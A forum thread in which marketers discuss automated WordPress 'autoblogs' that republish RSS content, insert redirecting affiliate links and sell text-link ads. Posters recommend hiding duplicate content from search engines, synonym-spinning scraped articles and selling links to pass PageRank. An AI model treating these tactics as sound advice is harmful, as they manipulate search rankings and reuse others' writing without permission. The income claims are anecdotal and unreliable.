      I never have to think "oh, what's my next project going to be" because I always have something to do. One blog is getting a lot of traffic, so I'll add a squeeze page and build a list. One blog isn't getting good content, so I refine the WP-O-Matic campaign. One blog isn't making any affiliate sales, so I swap out the products, etc. etc. I find it easier to work on something that's already in progress. Maybe that'll help you out too.

      And when I *do* get bored messing with a given blog, that's how I can tell it's time to set it aside and start a new one.
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      • Profile picture of the author Alminc
        For your GoCodes question:

        So you have hypothetically, some affiliate URL like hxxp://www.someaffiliateurl.com - you paste that into gocodes and it will create something like hxxp://www.myblog.com/go/someaffiliateurl - you can specify it the setup. The /go url redirects to whatever you tell it to, in this case, we've set it to redirect to hxxp://www.someaffiliateurl.com.

        Now, you use your gocodes urls to make hyperlinks out of the keywords in your posts - you do this part in WP-O-Matic. All the backlinks going out for syndication are pointing to hxxp://www.myblog.com/go/whatever, which is on *your* domain. You decide what the redirect goes to in the gocodes interface.

        When you submit your RSS feed to various other sites, every time you update your blog, your content (with your links back to your domain) will get published in various places on the web, get crawled by spiders, get your pages indexed, add to your PR value to your domain, etc. If those links are *clicked* by a person, they will get redirected to the offer. However, the links will still count as pointing to your own domain.

        At least, this is the way it was explained to me by my tech guy. GoCodes operates at the htaccess level, so spiders think the content on the redirect is actually on your own site. I hope I'm explaining that the right way - remember, I'm not a technical person.

        The bottom line is, it works.
        Thank you very much for the explanation, now I understand how
        the backlinks are built automatically.

        You mentioned that you are using some newsy themes, so the blog
        looks more like niche authority news sindicating site.

        Would you mind pointing us to a couple of sample themes that
        would be good for that purpose ?
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        • Profile picture of the author Alminc
          The reason I asked is I sorted the WP-O-Matic dupe problem so they are deleted automatically
          JustVisiting,

          Would you mind sharing your method to delete dups automatically?
          It's something we all can need.
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        • Profile picture of the author Keith Kogane
          Originally Posted by JustVisiting View Post

          Keith

          The reason I asked is I sorted the WP-O-Matic dupe problem so they are deleted automatically

          You mentioned "Uniquifier" which is fine for cloaking the dupe content from the search engines - but having random chars throughout the post doesn't do much for KW optimization.

          Also, if posting dupe articles they will be hidden from the se's BUT software such as Copyscape will find dupes.
          Yeah, let us know how you did it! That would make things just *that* much more hands-off.

          I only just started messing with Uniquifier. I thought it was helping, but if that's what it actually does, I don't see how that's a help. I might have to quit using that one. There's another rewriting plugin I wanted to try, but it just got sold and isn't available right now. Thanks for pointing that out!

          I also found one that will allow you to make a pages/subpages with a bunch of items on em, then use a tag to randomly pull from those items and add them to your posts. It's meant for doing like, random quotes or "tip of the day" kind of things, but I can see using it to remix content to make the total page more unique. I haven't used it yet though. Need to find that again, actually.

          Re: Copyscape - yeah, I'm not really trying to post whole articles by others on my site. That's good advice for others here though. I'm not so into the full-length feeds myself. I prefer snippets.

          Originally Posted by Alminc View Post

          Thank you very much for the explanation, now I understand how
          the backlinks are built automatically.

          You mentioned that you are using some newsy themes, so the blog
          looks more like niche authority news sindicating site.

          Would you mind pointing us to a couple of sample themes that
          would be good for that purpose ?
          I'm currently digging the Revolution two series of themes, though I just picked those up.

          I don't have a single go-to resource, I just look for em when I'm making a blog and pick one I like. Here's something I just found that should give you an idea of the style I go for though: Top 10 Wordpress Magazine Style Themes | Sooth Brush

          I generally want something with that "magazine" or news site feel. There are plenty around.
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  • Profile picture of the author JustVisiting
    Hi

    I've used WP-O-Matic and it can often produce duplicate posts, from the same feed.

    Anyone else checked their blogs for dupes?
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    • Profile picture of the author Keith Kogane
      Originally Posted by JustVisiting View Post

      Hi

      I've used WP-O-Matic and it can often produce duplicate posts, from the same feed.

      Anyone else checked their blogs for dupes?
      I've seen them sometimes, but only rarely. I wouldn't say "often" - maybe once in like 50 posts or so. When I see em, I'll just go ahead and delete the duplicates. However, my sites usually have a lot of different categorized feeds being posted, so it's not really a problem. If you're worried about a duplicate content penalty on your own site, there are several plugins like "uniquifier" which will make all your site content appear unique to search spiders (though it doesn't actually alter the data in the post or the feed).
      However, the duplicate posts won't have any negative impact on the syndication portion of the business model, so it doesn't matter.

      If you're getting a lot of dupes, try using different feeds. Some seem to do it more often than others, but it's not a huge problem I've found. It's a known bug and hopefully they'll get it worked out in a later release. If not, maybe I'll pay a coder to fix it for me one day.

      It could look weird if the point of this was to make a great unique classy blog. But it's not. I just want a mediocre but AUTOMATED system, so I take what I can get, and this is really, REALLY good for the investment of time (an hour) and money (none).

      Okay, technically, not none. The domains cost like $6.
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      • Profile picture of the author JustVisiting
        Originally Posted by Keith Kogane View Post

        I've seen them sometimes, but only rarely. I wouldn't say "often" - maybe once in like 50 posts or so. When I see em, I'll just go ahead and delete the duplicates. However, my sites usually have a lot of different categorized feeds being posted, so it's not really a problem. If you're worried about a duplicate content penalty on your own site, there are several plugins like "uniquifier" which will make all your site content appear unique to search spiders (though it doesn't actually alter the data in the post or the feed).
        However, the duplicate posts won't have any negative impact on the syndication portion of the business model, so it doesn't matter.

        If you're getting a lot of dupes, try using different feeds. Some seem to do it more often than others, but it's not a huge problem I've found. It's a known bug and hopefully they'll get it worked out in a later release. If not, maybe I'll pay a coder to fix it for me one day.

        It could look weird if the point of this was to make a great unique classy blog. But it's not. I just want a mediocre but AUTOMATED system, so I take what I can get, and this is really, REALLY good for the investment of time (an hour) and money (none).

        Okay, technically, not none. The domains cost like $6.
        Keith

        The reason I asked is I sorted the WP-O-Matic dupe problem so they are deleted automatically

        You mentioned "Uniquifier" which is fine for cloaking the dupe content from the search engines - but having random chars throughout the post doesn't do much for KW optimization.

        Also, if posting dupe articles they will be hidden from the se's BUT software such as Copyscape will find dupes.
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  • Profile picture of the author budfox
    Very interesting business model. I'm a bit in the dark about why your visitor count would grow over time though. You are just publishing duplicate content so you are not building any kind of presence in the SERPs. Where the heck is the traffic coming from?
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    • Profile picture of the author Keith Kogane
      Originally Posted by budfox View Post

      Very interesting business model. I'm a bit in the dark about why your visitor count would grow over time though. You are just publishing duplicate content so you are not building any kind of presence in the SERPs. Where the heck is the traffic coming from?
      The traffic comes from all over. I've given that some thought too, and I know some guys that flat out don't believe in the duplicate content penalty at all. But here's some speculation on my non-technical part as to why if it IS a factor, why it's not keeping me from getting traffic.

      For one, I think because it's constantly building backlinks in. If I ever STOPPED building the backlinks, my pages would fall out of the serps. However, that never happens, it just keeps building new links.

      Another factor that's possibly mitigating the still-debated duplicate content filter is that the OTHER stuff I have on my pages (links to related posts, randomizing blog roll, random quotes plugin, etc.) may be enough to overcome it. That's just a guess.

      Also, those links point to my gocodes, which re-direct to the affiliate offers. Those pages are NOT duplicate content, and my goCode links actually rank in the serps themselves (even though they are just redirects), and that's entirely because of the backlink building.

      In some cases, instead of linking to affiliate sites with GoCodes, I'll make the backlinks point to a static page on the blog that has a squeeze or presell on it. Those pages end up ranking pretty well, though I've never deliberately tried to competatively rank for a specific phrase.

      That's not to say I have killer Serps postions. I don't really (lots of them in the first 10 pages of results, but rarely any page 1s), but my logs say I get organic traffic, so I'm getting it somehow. Also, I've recently started using the "Uniquifier" plugin, which *seems* to be helping, but I'm not being scientific about testing it, and I did pretty good without it. I've barely used that one though, so maybe not.

      Now, don't forget those links get published on other sites that are re-publishing RSS content it's not just me that does this. I get some traffic directly form those sites visitors clicking over.

      Some of the blogs that get caught in my RSS net automatically credit me with a trackback when I link to them. That sends over traffic as well, as it kind of piggy-backs off whatever they're doing. When this happens is what I think really spikes up that PR.

      See, though it gets some, this model isn't really just all about getting traffic. It's about the fact that these sites will grow their own PR automatically, and that means you can sell advertising, specifically text links. At that point, it's not about traffic anymore. That PR juice means you can give SERP boosts to OTHERS. That means a monthly income from the site no matter if it does well with traffic, or ads, or affiliate products. It can absolutely suck, and it can make money if it has PR.

      Now, I didn't focus on that so much for this writeup, as most people here are still in the adsense/affiliate game. Personally, my stuff is shifting more towards selling ads directly and I want to do more flipping.

      But even without that, it WILL make Adsense revenue, and it WILL make affiliate sales. I haven't set up a single one of these yet that doesn't turn a profit, especially considering that it's extremely fast and easy to set up, and once you do, you can just leave it alone and go do something else. I've gone a year now just doing adsense and affiliate stuff myself. How well that mix performs depends on the niche, but when you have 50 or 60 of these things, you're going to be doing pretty well with like, zero ongoing effort.

      Set one up, then leave it alone for awhile, see what happens. I'm sure there's all kinds of things "wrong" with it from an SEO or whatever standpoint. However, it's not keeping it from being profitable, so I don't let that worry me.
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  • Profile picture of the author mudmat
    Phew! I just finish reading the 1st to the last post and taking down some notes.

    Going to take action now!
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  • Profile picture of the author mudmat
    Wp-o-matic and gocodes only works in firefox or safari which means I have to get Firefox browser..
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    • Profile picture of the author Keith Kogane
      Originally Posted by mudmat View Post

      Wp-o-matic and gocodes only works in firefox or safari which means I have to get Firefox browser..
      Hm. Guess I never noticed because I already use FireFox. Good thing it's free!
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  • Profile picture of the author Marcus Paul
    Keith,

    Great business model. Kudos on putting this together!

    I have two questions:

    1 - I notice you mention PR in a number of instances, but how are you generating PR when you are using duplicate content? I always understood that the duplicate content penalty really suppresses PR, even with backlinks.

    2 - What hosting company do you use? I use GoDaddy and I have had a sports blog for a while that uses WP O Matic for some of the content. Problem is I can never get it to automatically retrieve. I have to manually hit the button twice a day. Did you have this issue?

    Thanks!
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    • Profile picture of the author Keith Kogane
      Originally Posted by youTribunedotcom View Post

      Keith,

      Great business model. Kudos on putting this together!

      I have two questions:

      1 - I notice you mention PR in a number of instances, but how are you generating PR when you are using duplicate content? I always understood that the duplicate content penalty really suppresses PR, even with backlinks.

      2 - What hosting company do you use? I use GoDaddy and I have had a sports blog for a while that uses WP O Matic for some of the content. Problem is I can never get it to automatically retrieve. I have to manually hit the button twice a day. Did you have this issue?

      Thanks!
      Thank YOU. Here are your answers.

      1. I don't really know. Google gives out PR and they don't really say how. I've heard the same thing said as well, but it happens, so... I mean, I really don't know what to say other than try it, and you'll see that it works. When you get a blog that gets some PR, link to other of your blogs from that one, etc. I guess there's things you "know" because that's what everyone says, or there's things that you "know" because you did it and it worked.

      2. I use GoDaddy. I never got the unix cron working through their system, but if you turn that off and just let it auto update when someone visits, that works fine for me. Also, you wouldn't have to hit that button if you use the pseudo cron URL. Just bookmark it and click that instead of having to log in to manually fill it. At least that will save you a little trouble.

      Anyway, hope that answers your questions. Let me know if I can clarify anything.
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  • Profile picture of the author mudmat
    Hi keith,

    For the gocodes plugin, how do I edit the .htaccess file to include the code?

    I'm not so good in this.. Your advice on doing this?

    Regards,

    Muhammad Noor
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  • Profile picture of the author kenkos68
    Hi Keith,

    I was just about to launch something nearly identical to what you have set up here, before reading your thread. I am glad to see that it is proven to work and my resources aren't wasted.

    Mine are like yours - a mix of rss and articles, complete with resource boxes in tact. I think this is the key as each site DOES cater to real people. I have seen many sites where the content is all garbled. I don't know how those sites provide any benefit to the user.

    Instead of using blog software like Wordpress, mine is built using a set of php scripts. The site will look like a Wordpress site, using a popular Wordpress template. The only thing I have to do to set one up is find a good keyword for the main domain (or subdomain), and write an affiliate review for the product I am promoting. All other pages will 'support' the main page with the affiliate review. For updating, I have a Linux server at home using cron that will send a special update url to the site to cause it to generate a new page, and then generate a new sitemap and rss feed. Lastly it will ping.

    My questions for you are these:

    1. How often do you auto update the site? Once, twice, three times a day? I want my growth to look natural, but not too fast.

    2. Approximately how much per day is each site averaging? This will determine how many I place.

    I plan on using this network to feed my regular review sites that are fed by article traffic. Once they are all indexed, they are capable of providing a lot of link juice to any site if needed.

    -Ken
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    • Profile picture of the author Keith Kogane
      Originally Posted by kenkos68 View Post

      Hi Keith,

      I was just about to launch something nearly identical to what you have set up here, before reading your thread. I am glad to see that it is proven to work and my resources aren't wasted.

      Mine are like yours - a mix of rss and articles, complete with resource boxes in tact. I think this is the key as each site DOES cater to real people. I have seen many sites where the content is all garbled. I don't know how those sites provide any benefit to the user.

      Instead of using blog software like Wordpress, mine is built using a set of php scripts. The site will look like a Wordpress site, using a popular Wordpress template. The only thing I have to do to set one up is find a good keyword for the main domain (or subdomain), and write an affiliate review for the product I am promoting. All other pages will 'support' the main page with the affiliate review. For updating, I have a Linux server at home using cron that will send a special update url to the site to cause it to generate a new page, and then generate a new sitemap and rss feed. Lastly it will ping.

      My questions for you are these:

      1. How often do you auto update the site? Once, twice, three times a day? I want my growth to look natural, but not too fast.

      2. Approximately how much per day is each site averaging? This will determine how many I place.

      I plan on using this network to feed my regular review sites that are fed by article traffic. Once they are all indexed, they are capable of providing a lot of link juice to any site if needed.

      -Ken
      Right now, about 55 blogs are making around $1500 a month in affiliate sales and adsense/YPN. That's completely passive, just set it up and leave it alone. However, truth be told, that's only the top 10 or so making the most of that. That's why I hesitate to give out an average. Some of these make like, less than $10 a month (no good affiliate products), one of them makes almost $300 a month consistently (killer affiliate product w/backend). The key is not to think I need XX income, so therefore I need XX blogs. If you're going to go this route, you can't expect any particular outcome. They are ALL profitable, but the measure of profitability varies widely. It's easy to be profitable when all you need is $6 for a domain and an hour to set it up.

      Now, $1500 a month isn't much by some measures. Whatever, it pays my house note, you know? Plus, I have a pretty well paying day job that takes long hours, and I really only mess with IM stuff as a hobby (though my day job is related). That's why it took me a year to make only 60 of these things, and I spent WAY more time messing with parts of it that have ZERO to do with making the method work (messing with themes and various vanity widgets and whatnot).

      As I was telling someone in PM, I have two things going against me. One, I'm incredibly lazy. Two, I'm just one guy and I really don't feel like outsourcing. Because of that, I'm really limiting my growth/income. I can make one of these things literally, top to bottom in about an hour. If I were building these to flip, and I was crazy aggressive with selling them and selling advertising on my other VRE, I could be making 5 figures a month (or at least way more than I make now) but that would be a good deal more work. I also don't do a good job of going back and putting in more work on these after the initial setup. I tend to get a little bored and move onto the next one. If I bothered to measure and look at data to tweak things, I could be doing more as well.

      But overall, it's a really flexible model. You can do a lot with it, and even if you don't do much beyond what I've outlined in the original post, you'll do very well, considering the cost of trying it. The more of these you make, the better you'll do. For someone with resources and time, this could be a huge business - particularly if you use it as a model for VRE/flipping (which I'm admittedly only getting started with).

      P.S. I'm making another $1500 or so a month selling text link ads, but a guy I know brokers that for me, and he sells pretty much only to HIS customer list. I didn't include that in the total above, since I can't really say "Next step, find a buddy who can sell text link ads to his targeted list and split it with him." It's not really repeatable directly, but like I said, that gives you an idea of what you can do if you want to SELL on top of this platform and not just go for the lowest effort passive thing.

      EDIT: I forgot to answer how many times a day I update - I go for once or twice daily, depending on how much content there is available. I don't worry so much about natural growth on my side. I tend to build up a lot of content very quickly, but what I trickle out is where I submit my RSS feeds. My list is up to the hundreds, and I'll do like 10 here, 10 there. But in addition to being lazy, I also suffer from poor project organization. I don't think I've ever finished putting a single site through EVERY submission yet. But as far as them growing organically, if you keep the number of post updates, it does grow pretty organically, but consistently. It's not like these content farms where you have a million pages overnight.
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  • Profile picture of the author kenkos68
    Thanks for your reply, Keith.

    I will start off with 2 updates / submissions a day and see how that fairs. As for your $1500/month, that is each site making almost a buck a day on average. That is good enough for me. These sites should be able to make at least a buck a day.

    -Ken
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    • Profile picture of the author Keith Kogane
      Oh man, I just had a total "DUH!" moment. For all you folks concerned about unique content, WP-O-Matic does synonym replacement. I happen to use it to replace words with linked versions of the same word, but you could stock it up with a bunch of standard synonyms and never worry about unique content problems.

      Seriously, DUH! I can't believe I didn't think of that. Sorry guys!
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      • Profile picture of the author Lee MacRae
        I can get everything to work except how to set it up in WP-O-Matic to make the affiliate link show up in a post? That's my duh moment!
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  • Profile picture of the author alexei_aus
    i think i know how to perfect this system

    thanks for sharing
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    • Profile picture of the author Keith Kogane
      Originally Posted by mudmat View Post

      Hi keith,

      For the gocodes plugin, how do I edit the .htaccess file to include the code?

      I'm not so good in this.. Your advice on doing this?

      Regards,

      Muhammad Noor
      If you have FTP access to your site and the .htaccess file isn't in the root directory, you may need to ask your host to help you. I know it's there, because it's how WordPress handles its permalink structure, all through .htaccess. Sorry I can't be of more help on that.

      Originally Posted by kenkos68 View Post

      Thanks for your reply, Keith.

      I will start off with 2 updates / submissions a day and see how that fairs. As for your $1500/month, that is each site making almost a buck a day on average. That is good enough for me. These sites should be able to make at least a buck a day.

      -Ken
      I never did the math, but it's pretty awesome when you think of it that way. Yes, a dollar per day per site is not an out-of-reach expectation if you choose niches where there is money being made. That's literally the only way you can fail is if you pick a niche that no one is publishing stuff about (you'd get no posts) and no one is selling anything (you wouldn't be able to find affiliate products, and no adsense ads would show).

      Originally Posted by Lee MacRae View Post

      I can get everything to work except how to set it up in WP-O-Matic to make the affiliate link show up in a post? That's my duh moment!
      In the plugin options when you set up a campaign, there's a tab where you set up the word replacement. You specify the target word, the word you want to replace it with, and the URL you want it to link to (optional).

      Originally Posted by alexei_aus View Post

      i think i know how to perfect this system

      thanks for sharing
      I'll PM you since you obviously don't want to post here. I'd love to hear your ideas!
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  • Profile picture of the author mudmat
    Hi Keith,

    Thanks for the info! I'll check with my web host to help me edit the .htaccess file.

    Yeah, what you say was indeed correct.. The file is there but somehow I could not click on it or get to it.
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    • Profile picture of the author Ken
      For anyone looking for a great theme for this purpose try "Flexibilty Theme".
      Registration is required but the theme is free otherwise.
      I was extremely pleased and with the theme and made a donation, always a good idea if you want the creators to keep on working.

      Flexibility Theme for WordPress

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      • Profile picture of the author JustVisiting
        Originally Posted by Ken View Post

        For anyone looking for a great theme for this purpose try "Flexibilty Theme".
        Registration is required but the theme is free otherwise.
        I was extremely pleased and with the theme and made a donation, always a good idea if you want the creators to keep on working.

        Flexibility Theme for WordPress

        Ken
        Thanks Ken. I haven't tested it fully yet but this has to be one one of nicest looking themes available.
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      • Profile picture of the author mudmat
        Originally Posted by Ken View Post

        For anyone looking for a great theme for this purpose try "Flexibilty Theme".
        Registration is required but the theme is free otherwise.
        I was extremely pleased and with the theme and made a donation, always a good idea if you want the creators to keep on working.

        Flexibility Theme for WordPress

        Ken
        Thanks ken!

        My host server people has just edited the .htaccess file for me and I will resume work again. Now I have to test whether the redirect works.

        I'm a newbie when it comes to rss. How do I actually submit my blogs rss feed?


        Regards,

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  • Profile picture of the author erickz
    hi Keith,
    thks for the sharing. i will be trying out to test a few blogs with your automated system and see how its goes. i have quite a number of unused domains which i havn't touched for months. besides this method, i am working on other blogs which is purely on unique written content.
    i believe that the system itself is workable and one can be flexible and creative to make some twists here and there. you can mixed up your content by adding unique content and also syndicated content in the blog too.

    sorry to ask some questions as i am a newbie and not technically strong in the WP setup. how do i set up a no-follow in your system?
    isit by unchecking the first box in the "Default article settings" in the Discussion tab?
    also, i am cloaking my affiliate link by manually masking it on another page.
    does the gocodes plugin does the same function?
    so instead of creating another page to cloak the link, we just use the plugin for easy n quick setup?
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    • Profile picture of the author Keith Kogane
      Originally Posted by mudmat View Post

      Thanks ken!

      My host server people has just edited the .htaccess file for me and I will resume work again. Now I have to test whether the redirect works.

      I'm a newbie when it comes to rss. How do I actually submit my blogs rss feed?


      Regards,

      Muhammad Noor
      That's great! Glad they were so accommodating. To submit your RSS feed, most of the sites you submit to will simply have a form to fill out - one of the fields will be fore your RSS link. Most templates will include a link to your blog's feeds in the navigation somewhere. It's usually located at yourblogURL.com/feed or something similar.

      Originally Posted by iMerickz View Post

      hi Keith,
      thks for the sharing. i will be trying out to test a few blogs with your automated system and see how its goes. i have quite a number of unused domains which i havn't touched for months. besides this method, i am working on other blogs which is purely on unique written content.
      i believe that the system itself is workable and one can be flexible and creative to make some twists here and there. you can mixed up your content by adding unique content and also syndicated content in the blog too.

      sorry to ask some questions as i am a newbie and not technically strong in the WP setup. how do i set up a no-follow in your system?
      isit by unchecking the first box in the "Default article settings" in the Discussion tab?
      also, i am cloaking my affiliate link by manually masking it on another page.
      does the gocodes plugin does the same function?
      so instead of creating another page to cloak the link, we just use the plugin for easy n quick setup?
      Yep. I think a lot of people are interested in some methods to work unique content into the feed based stuff, so I'm revisiting a couple of techniques I've used in the past so I can make sure they're still working. I'll include those in the inevitable report I'll be releasing.

      I know, I know. It sounds cliche and I'm sure a bunch of folks will think this has been my plan all along. It hasn't. It barely took me ten minutes to write the first post. I never thought this method would be just what som many people need right now. Seriously, I went from 0 Private messages to 43, just because of this thread, and it's mostly people telling me to please make something because they will pay for more information, so who am I not to oblige? Gotta love this forum! People introduce themselves and then ask to give you money. Amazing!

      But back to your question, I'm not sure what you're asking. Nofollow doesn't really enter into the standard setup and isn't required for it to work. The only time I've messed with using nofollow plugins (of which there are many, depending on what you're trying to do) is when you want to keep your page rank very tightly controlled by not spreading it to your categories or spreading it out to your external links. And even then, I'm not a master at that. It's kind of advanced SEO, and overall, I think that goes into the 80 part of the 80/20 Pareto Principle. I'm better off focusing on something else that will have more of an effect on profit than those minor tweaks. Your mileage may vary, but I wouldn't worry about it until you have enough backlinks coming in for it to make a difference.

      And yes, the point of the GoCodes plugin in this method is partially to mask affiliate links, but it also serves to make sure all your link building points to a resource you control, and that has the double benefit of using your blog's main domain. That way, you can always change what those backlinks are redirecting to (if you want to change affiliate offers, for example) and not lose any of the backlinking benefit your blog has produced up to that point.

      Make sense?
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  • Profile picture of the author erickz
    ya, i keeps heading people talking about putting the "nofollow" tag in your blog to prevent the PR link juice going out. hmm.. i think i do not need to think so much in advanced first as i am only in the beginning and my blog havn't even got any traffic.. lol.. i'll look into that when i have enough traffic and PR for me to worry about.. lol..
    btw, i saw this checkbox "Perform pingbacks" in the options, do i need to check that? i did not check the box for the first 2 blogs that i have setup for this system. do i need to need to perform ping backs?
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    • Profile picture of the author Keith Kogane
      Originally Posted by iMerickz View Post

      ya, i keeps heading people talking about putting the "nofollow" tag in your blog to prevent the PR link juice going out. hmm.. i think i do not need to think so much in advanced first as i am only in the beginning and my blog havn't even got any traffic.. lol.. i'll look into that when i have enough traffic and PR for me to worry about.. lol..
      btw, i saw this checkbox "Perform pingbacks" in the options, do i need to check that? i did not check the box for the first 2 blogs that i have setup for this system. do i need to need to perform ping backs?
      It depends on if you want pingbacks or not. Pingbacks are going to notify when you link to other blogs and sites that are equipped with pingback. If you want that to happen, then equip it. If you don't, then don't. I like having it on. Some people don't like to have it on when they repurpose content. Up to you.
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  • Profile picture of the author natalie1
    I'd be interested in more (paid) help w/gocodes and url redirection. I was able to easily set up the feeds to my blog but not sure if I'm doing the redirects correctly. I would love it if you did a WSO for your blog concept.
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    • Profile picture of the author Keith Kogane
      Originally Posted by natalie1 View Post

      I'd be interested in more (paid) help w/gocodes and url redirection. I was able to easily set up the feeds to my blog but not sure if I'm doing the redirects correctly. I would love it if you did a WSO for your blog concept.
      I'll see what I can do as far as a WSO. As for if you have questions about the GoCodes, feel free to ask here, or PM me if you like. I'm happy to help!
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  • Profile picture of the author mudmat
    Thanks keith for the info!

    You really have been a real help explaining some of the technical stuff.
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  • Profile picture of the author Keith Kogane
    Just as a follow up, for the people that had trouble using WP-O-Matic, I'm looking into other plugins that may be able to be used to the same affect, and I'll update after I have a chance to experiment.

    I've bought/downloaded/installed the following:

    SmartRSS
    FeeWordPress
    Caffeinated Content
    Autoblogged

    And for the ones there that don't include the link addition/replacement that's key to the link building strategy, I'm testing:

    Smart SEO Linker
    KB Linker

    Everything else with the technique remains the same, I'm just looking at alternatives to WP-O-Matic to make it a more robust solution that will work even if you can't get a given plugin to work. The more options, the better, right?

    I'm also testing Utopia Cron to see if it'll work for the folks who can't set up a cron on their host.

    More info coming soon!
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  • Profile picture of the author getsmartt
    Kieth a couple of more linking plugins you might check out

    alinks
    cross-linker(my current favorite because it allows you to enter a comma separated list of terms to link to a keyword)
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    • Profile picture of the author Keith Kogane
      Originally Posted by getsmartt View Post

      Kieth a couple of more linking plugins you might check out

      alinks
      cross-linker(my current favorite because it allows you to enter a comma separated list of terms to link to a keyword)
      Hell yes! I've been trying to find something like that. Thanks for the tip!
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      • Profile picture of the author Aaron Moser
        Kieth,

        Your post got me thinking... If we used a product like Wordpress Cloner :: Clone Your Wordpress Blogs we could launch these these blog sites on a massive scale. All we'd have to do is create the first one from scratch and use wp-cloner each time we wanted a new blog. Then just go in and set up new RSS feeds for the content. I think this would cut down production time by half.

        What do you think?
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        • Profile picture of the author Keith Kogane
          Originally Posted by Aaron Moser View Post

          Kieth,

          Your post got me thinking... If we used a product like Wordpress Cloner :: Clone Your Wordpress Blogs we could launch these these blog sites on a massive scale. All we'd have to do is create the first one from scratch and use wp-cloner each time we wanted a new blog. Then just go in and set up new RSS feeds for the content. I think this would cut down production time by half.

          What do you think?
          Yeah, it's funny - I used to use this plugin quite a bit when I was trying to focus on AdSense, but I stopped using it when I changed strategies. It might be time to revisit it now that I have a more workable, profitable system. Great suggestion!
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    That's a good business plan! The more ways you can use technology to do the grunt for you the better! IMO software is taking over the internet! lol
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  • Profile picture of the author Chuck Underwood
    Keith,

    Thank you for the post. It is what I love about the WF.

    Chuck
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  • Profile picture of the author Chris_L
    Keith,

    Thank you for sharing your strategy with us.

    Sorry if my question is a bit little off. I'm still learning this RSS feed thing. Do you grab RSS feeds from video sharing sites as well, like YouTube? If so, how do you do that? I can never figure it out.

    Thanks.

    Chris
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    • Profile picture of the author Keith Kogane
      Originally Posted by Chris_L View Post

      Keith,

      Thank you for sharing your strategy with us.

      Sorry if my question is a bit little off. I'm still learning this RSS feed thing. Do you grab RSS feeds from video sharing sites as well, like YouTube? If so, how do you do that? I can never figure it out.

      Thanks.

      Chris
      Yeah, you just get the feed URL and plug it into the WP-O-Matic. It'll repost the video embed automatically. I don't do this frequently, as I'm doing this for SEO automation and the videos don't do any. But I've seen it work, YMMV as I don't use it usually.
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      • Profile picture of the author entrepenerd
        Originally Posted by Keith Kogane View Post

        Yeah, you just get the feed URL and plug it into the WP-O-Matic. It'll repost the video embed automatically. I don't do this frequently, as I'm doing this for SEO automation and the videos don't do any. But I've seen it work, YMMV as I don't use it usually.
        Has anyone gotten wp-o-matic working with YouTube feeds. I've got a video site that I'd like to test this on, but WP-o-matic is only inserting the thumbnails, not embedding the videos.
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        • Profile picture of the author Keith Kogane
          Originally Posted by entrepenerd View Post

          Has anyone gotten wp-o-matic working with YouTube feeds. I've got a video site that I'd like to test this on, but WP-o-matic is only inserting the thumbnails, not embedding the videos.
          On second thought, I may not be thinking of YouTube feeds, but I swear I've gotten video out of this at some point. I hope I'm not remembering incorrectly. Perhaps you could try the other RSS re-posting plugins I mentioned above?

          First I would verify that the information you want is actually IN the RSS feeds you're pulling. If the embed code isn't in the feed source, it won't ever come across.

          If I recall, there are plugins or CMSs other than WordPress designed specifically for niche video sites. I'll try to keep an eye out for them during my usual poking around.

          Sorry that's not working for you, man. If you figure something out in the meantime, let me know how you did it. Video could make this an even more valuable system.
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          • Profile picture of the author entrepenerd
            Originally Posted by Keith Kogane View Post

            On second thought, I may not be thinking of YouTube feeds, but I swear I've gotten video out of this at some point. I hope I'm not remembering incorrectly. Perhaps you could try the other RSS re-posting plugins I mentioned above?

            First I would verify that the information you want is actually IN the RSS feeds you're pulling. If the embed code isn't in the feed source, it won't ever come across.

            If I recall, there are plugins or CMSs other than WordPress designed specifically for niche video sites. I'll try to keep an eye out for them during my usual poking around.

            Sorry that's not working for you, man. If you figure something out in the meantime, let me know how you did it. Video could make this an even more valuable system.
            Thanks for the reply. I'm sure that it can be made to work with video. I'll do some hacking and post back with what I find. My thought is that I might be able to make a custom post template that wp-o-matic uses to post the embed code. I just wanted to see if there was a quicker solution before I started mucking around in the code
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  • First, thank you very much Keith for opening my eyes to some very interesting new opportunities!

    Now, I do have some questions since I just set up my first two autoblogs...

    1)Is there any advantage to using GoCodes over my link cloaker of choice, ø Link Cloaking Plugin for WordPress | W-Shadow.com ø ?
    I ask because for some reason the titles of my posts aren't getting cloaked, although on the Links sidebar they ARE cloaked.... I feel like wp-o-matic is conflicting with it but not sure.

    2) I thought I inserted the code correctly into my cron file, but when I checked this morning I had to click "fetch" in order for my new posts to show up. Am I right that I'm supposed to be editing the file located at wp-content/plugins/wp-o-matic/cron.php ?

    If so, here's where I inserted it, let me know if I messed something up:

    <?php

    */20 * * * * /usr/bin/curl http://[site-edited].com/wp-content/...cron.php?code=[code-edited]

    require_once(dirname(__FILE__) . '/../../../wp-config.php');

    nocache_headers();

    // if uninstalled, let's not do anything
    if(! get_option('wpo_version'))
    return false;

    // check password
    if(isset($_REQUEST['code']) && $_REQUEST['code'] == get_option('wpo_croncode'))
    {
    require_once( dirname(__FILE__) . '/wpomatic.php' );

    $wpomatic->runCron();
    } else
    $wpomatic->log('Warning! cron.php was called with the wrong password or without one!');

    Thanks a lot!
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    • Profile picture of the author Keith Kogane
      Originally Posted by remac22 View Post

      First, thank you very much Keith for opening my eyes to some very interesting new opportunities!

      Now, I do have some questions since I just set up my first two autoblogs...

      1)Is there any advantage to using GoCodes over my link cloaker of choice, ø Link Cloaking Plugin for WordPress | W-Shadow.com ø ?
      I ask because for some reason the titles of my posts aren't getting cloaked, although on the Links sidebar they ARE cloaked.... I feel like wp-o-matic is conflicting with it but not sure.

      2) I thought I inserted the code correctly into my cron file, but when I checked this morning I had to click "fetch" in order for my new posts to show up. Am I right that I'm supposed to be editing the file located at wp-content/plugins/wp-o-matic/cron.php ?

      If so, here's where I inserted it, let me know if I messed something up:

      .....

      Thanks a lot!
      Hey man, you're welcome! Glad you'll be able to get some use out of it.

      For #1, no, you can use any plugin that does this behavior. GoCodes is just the one I like. It's not really about the cloaking for me, it's that I'm not sending out hard-coded backlinks for an affiliate product that may tank. Using some plugin like this allows me to change the target and not lose the benefit of all the links I've already built. I'm not 100% on that plugin because I haven't used it (though I'll check it out), but in theory, it should work fine.

      For #2, no. That's your WordPress cron file, not where you should put that. The code you have there needs to go in your unix cron configuration. If you don't know what that is, just deactivate the unix cron. It's pretty hardcore, and even though GoDaddy (my host) allows unix cron interaction, I haven't gotten WP-O-Matic to work with it. I'm not techie enough to troubleshoot it if it doesn't work on the first try.

      Instead, I disable the unix cron and let WP-O-Matic do it itself. If you do this, it fires whenever someone visits the site. If you don't like relying on that method (if you have huge traffic, it can bog - I've never personally had an issue), you can bookmark the pseudo-cron url provided and just visit that as often as you'd like to update. That's just a single click, and no need to log in.

